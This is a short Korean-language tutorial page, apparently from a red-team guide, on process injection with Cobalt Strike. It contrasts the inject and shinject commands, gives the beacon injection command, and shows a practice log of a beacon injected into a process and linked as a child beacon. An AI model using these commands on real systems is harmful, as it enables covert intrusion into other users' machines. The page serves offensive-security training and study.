Process Injection

프로세스 인젝션은 악성 코드를 선택한 프로세스에 주입하는 공격입니다. Make Token에서 언급한 조건과 마찬가지로 프로세스에 인젝션을 하기 위해서는 이미 충분한 권한이 요구되며, 특히 SeDebugPrivilege 권한이 없다면 다른 사용자의 프로세스를 식별하지 못합니다. 코발트 스트라이크에서는 프로세스 인젝션을 위해 shinjectinject를 제공합니다. 두 명령에는 다음과 같은 차이점이 있습니다.

명령어
입력 형태
사용 목적

inject

Beacon payload

다른 프로세스에 Beacon 심기

shinject

쉘코드(.bin 등)

쉘코드 실행 (예: Meterpreter)

특정 프로세스에 비콘 페이로드를 주입하고 싶다면 다음 명령을 통해 수행할 수 있습니다.

# inject를 통한 비콘 페이로드 주입
beacon> inject <PID> x64 tcp-local

프로세스 인젝션을 통해 얻은 비콘은 프로세스 종료 시 자동으로 연결이 종료됩니다. 하지만 비콘을 종료한다고 해서 해당 프로세스가 종료되지는 않습니다.

Practice

[05/04 14:23:18] beacon> inject 4696 x64 tcp-local
[05/04 14:23:18] [*] Tasked beacon to inject windows/beacon_bind_tcp (127.0.0.1:4444) into 4696 (x64)
[05/04 14:23:18] [+] host called home, sent: 297520 bytes
[05/04 14:23:20] [+] established link to child beacon: 10.10.123.102

Last updated

Was this helpful?